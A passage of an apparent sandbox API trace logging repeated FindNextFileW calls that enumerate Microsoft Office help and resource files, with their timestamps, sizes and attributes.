| out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x697e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR.HXS", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXC", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXT", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_COL.HXC", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_COL.HXT", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108a400, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x108a400, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="INSTLIST.VRD", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37deba00, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37deba00, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVENTRY.VRD", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3491f00, ftCreationTime.dwHighDateTime=0x1ca0f52, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3491f00, ftLastWriteTime.dwHighDateTime=0x1ca0f52, nFileSizeHigh=0x0, nFileSizeLow=0x2bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Invite or Link.one", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x22a590, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDSINTL.DLL", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xd7b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDINTL.DLL", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3e7b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLKINTL.DLL", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x3cebf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issue Tracking.gta", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="JADE.CSS", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe69b00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50a35820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xafe69b00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x9980, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.VSL", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x112970, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x1a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x907d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x100fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MERES.DLL", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe105a200, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe105a200, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x6cf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.DLL", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x9b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00b00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b00b00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x58c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOVE.VRD", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x3178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXRES.DLL", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0xa3f874, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV.HXS", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37e4c000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37e4c000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x3b2c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.HXS", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXC", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXT", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33200c00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x153f36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33200c00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x127f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAIN.DLL", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589e0a00, ftCreationTime.dwHighDateTime=0x1c99224, ftLastAccessTime.dwLowDateTime=0x980ce30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x589e0a00, ftLastWriteTime.dwHighDateTime=0x1c99224, nFileSizeHigh=0x0, nFileSizeLow=0x9382, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe15bf200, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe15bf200, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x69560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.HXS", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXC", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXT", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91408700, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91408700, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x487dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV.HXS", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: 